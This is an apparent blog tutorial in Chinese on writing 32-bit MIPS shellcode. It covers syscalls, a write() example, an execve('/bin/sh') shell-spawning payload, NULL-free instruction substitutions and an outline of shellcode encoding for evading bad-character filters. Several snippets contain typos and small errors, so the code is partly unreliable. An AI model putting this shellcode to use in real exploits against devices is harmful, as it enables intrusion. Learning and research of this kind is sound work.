zoukankan      html  css  js  c++  java
  • 基于MIPS的shellcode开发

    前言

    最近看到了《路由器0day》这本书的shellcode开发部分章节,就想到自己之前还没有去系统学过shellcode开发,之前在搞x86架构的时候也没有去搞过。其实开学时候有计划搞一下x86架构下的shellcode书写的,但是由于那时候比较忙,懒狗说辞,后来拖着拖着就放弃了。。。。 现在打算学一下mips架构下的shellcode开发,一是为了锻炼一下自己的汇编书写能力以及思维,二也是因为自己刚刚开始接触mips的汇编,就去写一些汇编熟悉一下。

    什么是shellcode

    狭义下的shellcode是指向进程植入的一段用于获取shell的代码。发展至今,shellcode已统一指在缓冲区溢出攻击中植入进程的代码。shellcode所具备的功能不仅包括获取shell,还包括弹出消息框,开启端口,执行命令等。
    shellcode通常使用汇编语言书写,可最终将其转化为机器可识别的二进制机器码,其内容和长度还会收到很多苛刻的限制,因此开发和调试的难度很高。当然,作为刚开始接触mips架构的我在这篇博文也只是记录一下简单shellcode的开发,以后渐渐了解更多的用法之后再回来补充。
    MIPS 架构的 shellcode 和 x86 架构下的 shellcode 也会有一些差异,同时在实际利用 MIPS 的 shellcode 时可能会有坏字符的问题,因此还是需要掌握一些 shellcode 编写的技巧,这样在实际利用时才能比较灵活的运用。
    关于mips指令的相关内容,可以参考一下我的这一篇博文
    注明一点,这篇文章说到的mips架构都是32位的

    mips系统调用

    在Linux中的x86体系架构中,有几种方式书写shelcode。例如“正常的异常”软件中断,int 0x80;利用syscall的系统调用等。而在mips架构下,没有int 80中断,但是还可以使用syscall指令进行系统调用。
    调用过程:
    在使用系统调用syscall之前,$ v0保存需要执行的系统调用的调用号,并且按照mips调用规则构造将要执行的系统调用参数,syscall调用的伪代码为"syscall($ v0,$ a0,$ a1,$ a2,$ a3...)"
    如,这里如果需要调用 exit(1) 函数,可以表示成以下的汇编代码:

    li $ a0,1
    
    li $ v0,4001            // sys_exit
    
    syscall #syscall
    

    可以利用buildroot交叉编译环境查看系统调用号

    简单的write

    #C语言代码 
    int mian(){
    char *pstr="ABC
    "
    write(1,pstr,5)
    }
    

    输出字符串的shellcode

    #对应的mips汇编
    .section .text
    .globl _start 
    .set noreorder
    _start:
    addiu $sp,$sp,-32
    lui $t6.0x4142
    ori $t6,$t6,0x430a
    sw $t6,0($sp)
    li $a0,1
    addiu $a1,$sp,0
    li $a2,5
    li v0,4004
    syscall
    

    链接调试

    把上面汇编的_start改为main,然后编译链接:

    mips-linux-gnu-as --32 write.S -o write.o
    mips-linux-gnu-ld -e main write.o -o write
    

    再一个终端中执行命令

    qemu-mips-static -g 1234 -L /usr/mips-linux-gnu ./write
    

    然后再另外一个终端中利用gdb-multiarch挂载程序

    gdb-multiarch ./write
    

    然后再在我们的gdb中远程连接我们开放的端口:

    target remote 127.0.0.1:1234
    

    解析

    这里简单解释一下 ,对于ori这个指令,这是我一开始看的时候感觉有点奇怪,对于赋值“ABC ”也就是“0x4142430a”(大端序)给$t6寄存器的时候,为什么先赋值0x4142给t6寄存器,然后这个ori是什么,后来去查了一下,这个ori是与一个立即数或,而且是与低位或,所以就会把t6寄存器的地位覆盖为0x430a。也就是,lui 和 ori 指令配合使用可以赋值一个 4 字节空间,lui 指令赋值高位 2 字节,ori 指令赋值低位 2 字节。


    查看机器码

    在gdb中,利用disass /r命令可以查看到shellcode的机器码:

    execve系统调用

    execve shellcode是常用的shellcode之一,这种shellcode的目的是让已嵌入shellcode的应用程序运行一个应用程序,如bin/sh。

    int execve(const char *filename, char *const argv[], char *const envp[]);
    

    filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。
    如下面一个例子

    #相当于执行了“ls -l”命令
    #include<stdio.h>
    int main(){
    char *program="/bin/sh";
    char *arg="-l";
    char *args[3];
    args[0]=program;
    args[1]=arg;
    arg[2]=0;
    execve(program,args,0)
    

    一般我们在写shellcode的时候,是希望直接get到shell的,所以这时候只需要执行/bin/sh命令即可产生一个shell,代码如下:

    #include<stdio.h>
    int main(){
    char *program="/bin/sh"
    execve(program,0,0)
    }
    

    因此可以由上面的C语言代码编写我们的汇编代码:

    .section .text
    .globl main
    .set noreorder
    main:
    li $a2 0x111
    p:bltzal $a2,p
    li $a2,0
    addiu $sp,$sp,-32
    addiu $a0,$ra,28
    sw $a0,-24($sp)
    sw $zero,-20($sp)
    addiu $a1,$sp,-24
    li $v0,4011
    syscall
    sc:
        .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
    

    解释一下这里第六行,我们先看看这个bltzal指令:

    总结来说,如果我们的第一个参数小于0,那么就会将跳转到我们的第二个参数所指的偏移,而且还会把$ pc+4->$ ra,而且mips汇编还有一个流水线技术(这个我目前也不大懂),这里执行第六条指令的时候会同时执行第七个指令,所以这时候的pc其实是加8的。其实这里还有一个点,就是第五行已经把a2寄存器赋值为0x111,所以其实是不满足条件,但是反推可知,其实不满足bltzal的条件时,我们的ra寄存器也会被赋值。


    这里把ra赋值为pc寄存器的值,其实是为了作为偏移,寻找我们的sc字符

    shellcode编码优化

    指令优化

    指令优化是指通过选择一些特殊的指令避免在shellcode中直接生成坏字符。出现坏字符"NULL"字节常用的特殊指令如下所示。

    普通指令 机器码 无NULL指令 机器码
    li $a2,0 24 06 00 00 slti $a2 , $zero,-1 28 06 ff ff
    li $a2,1 24 04 00 01 sltiu $a2 , $zero ,-1 2c 0c ff ff
    当我们的缓冲区宽裕的时候,可以考虑使用多条运算指令规避坏字符。
    这里举几个例子。
    普通指令 机器码 无NULL指令 机器码
    :-: :-: :-: :-:
    addiu $a0 , $ra,32 24 e4 00 20
    addiu $a0 , $ra,4097
    addiu $a0 , $a0,-4065

    27 e4 10 01
    24 84 f0 1f
    Li $a2 ,5 24 06 00 05
    li $t6 ,-9
    nor $t6 , $t6 , $zero
    addi $a2 , $t6 ,-3

    24 0e ff f7
    01 c0 70 27
    21 c6 ff fd
    根据这几个例子,可以将上面write和execve系统调用对应的shellcode修改为无NULL版本。
    使用一些特殊指令对shellcode可以去除坏字符,使shellcode适应去除坏字符的函数漏洞。但是在漏洞利用过程中,我们经常遇到更加苛刻的条件,如需要去除其他坏字符,如(0X0A,0X0D等),此时通过特殊指令就很难办到了。这时候我们需要对shellcode进行编码。接下来详细介绍。

    shellcode编码

    首先,所有的字符都会对"NULL"字节进行限制,通常我们会选择对shellcode指令进行优化以避免在shellcode中直接出现"NULL"字节。其次,在处理某些流程中可能会限制0x0d,0x0a,0x20等字符。甚至有可能会要求shellcode必须为可见字符ASCII值等。在处理这些条件时,我们可以使用shellcode编码技术。

    shellcode编码原理

    在shellcode的编码技术中有众多的编码算法,常用的有如下几种。
    Base64编码;
    alpha_upper编码;
    xor编码。
    这种对shellcode编码的方法与软件加壳的原理类似。我们可以先专心完成shellcode的逻辑,而不用在意是否含有非法字符,再使用编码技术对shellcode进行编码,使其内容满足限制条件。然后再精心构造几十个字节的解码程序,将其放在编码的shellcode之前。当exp执行时,先运行解码程序解码,从而将我们后面的shellcode解码。

    未完待续

    一个开端,日后填坑

    参考

    http://q1iq.top/安洵杯-MIPS/
    https://www.anquanke.com/post/id/202965
    《揭秘家用路由器0day漏洞挖掘技术》

  • 相关阅读:
    加入创业公司有什么利弊
    Find Minimum in Rotated Sorted Array II
    Search in Rotated Sorted Array II
    Search in Rotated Sorted Array
    Find Minimum in Rotated Sorted Array
    Remove Duplicates from Sorted Array
    Spiral Matrix
    Spiral Matrix II
    Symmetric Tree
    Rotate Image
  • 原文地址:https://www.cnblogs.com/T1e9u/p/13749970.html
Copyright © 2011-2022 走看看